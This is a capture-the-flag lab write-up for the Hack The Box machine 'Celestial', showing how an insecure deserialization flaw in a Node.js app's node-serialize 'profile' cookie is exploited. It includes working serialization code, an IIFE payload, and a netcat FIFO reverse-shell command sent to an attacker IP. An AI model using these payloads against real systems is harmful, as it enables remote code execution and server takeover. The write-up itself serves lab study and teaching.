# Node.js - Insecure Deserialization : Celestial (HTB)



the `node express` framework is presented at port `3000`

![](https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FSCIEQfH83qxWoAAs07wE%2FScreenshot%202021-11-05%20at%209.40.55%20pm.png?alt=media\&token=6717af1c-6cff-4650-bc4c-ae3898ad1897)

intercepting the request first gave us 404 page, but if we refresh the page again we can see a new value in the cookie ( `profile` )

![](https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FQXXtcG2LsiM1stUeNJAw%2FScreenshot%202021-11-05%20at%209.01.19%20pm.png?alt=media\&token=bb9bbf95-ff91-4c50-a7c8-5fa469d25608)

decoding the profile value, and we can see that it's a `json` data

![](https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2F6KVome9x8ssv3uc4Qhdq%2FScreenshot%202021-11-05%20at%209.02.29%20pm.png?alt=media\&token=6e2f02cf-f57c-4beb-90e3-b5b4470839c5)

### Triggering the vulnerability :

**Scenario :** we will `serialize` an object and inject it into the cookie parameter ( `profile` ) to see if the server `desrialize` our object, and if that's the case, then the application is vulnerable to insecure deserialization

**Serialization Code:**

using the below code, we will serialize an object which just has a function that prints the "`the app is vulnerable to insecure deserialization`" message (as described in this article: [https://medium.com/@chaudharyaditya/insecure-deserialization-3035c6b5766e](https://medium.com/@chaudharyaditya/insecure-deserialization-3035c6b5766e))

```bash
var serialize = require('node-serialize');

x = {
username : function(){ return 'the app is vulnerable to insecure deserialization'; }
};

console.log("Serialized: \\n" + serialize.serialize(x));
```

the serialized object

```bash
{"username":"_$$ND_FUNC$$_function(){ return 'the app is vulnerable to insecure deserialization'; }"}
```

and we need to append the `()` value at the end of the function, to make the function self-invoking ( [Immediately invoked function expression (IIFE)](https://en.wikipedia.org/wiki/Immediately-invoked_function_expression) )

```bash
{"username":"_$$ND_FUNC$$_function(){ return 'the app is vulnerable to insecure deserialization'; }()"}
```

encode the object to `base64`&#x20;

![](https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FtQmC2vp8NXmgCQKfkusy%2FScreenshot%202021-11-05%20at%209.33.18%20pm.png?alt=media\&token=90dc5954-2f64-4871-9fed-0435323619e2)

passing the request , and we can see that the server deserialized our object

![](https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FpUTjZ74PR438ezA6LoFz%2FScreenshot%202021-11-05%20at%209.34.38%20pm.png?alt=media\&token=4fa727cb-5234-41da-88cb-928132c157c6)

### Reverse Shell - BASH TCP :

we will execute the below command on the server using the serialized object to gain a shell on the server

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 4242 >/tmp/f
```

**Serialization Code:**

```bash
var serialize = require('node-serialize');

x = {
username: function(){require('child_process').execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 4242 >/tmp/f", function puts(error, stdout, stderr) {});}
};

console.log("Serialized: \\n" + serialize.serialize(x));
```

Serialized object :

```jsx
{"username":"_$$ND_FUNC$$_function(){require('child_process').execSync(\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.8 4242 >/tmp/f\\", function puts(error, stdout, stderr) {});}"}
```

making the function self-invoking

```bash
{"username":"_$$ND_FUNC$$_function(){require('child_process').execSync(\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 4242 >/tmp/f\\", function puts(error, stdout, stderr) {});}()"}
```

and we got the shell

![](https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FucCaEl21aZVNCIXYdu18%2FScreenshot%202021-11-05%20at%2010.15.50%20pm.png?alt=media\&token=6abe8491-56dd-439f-93ca-3e485f93ab47)
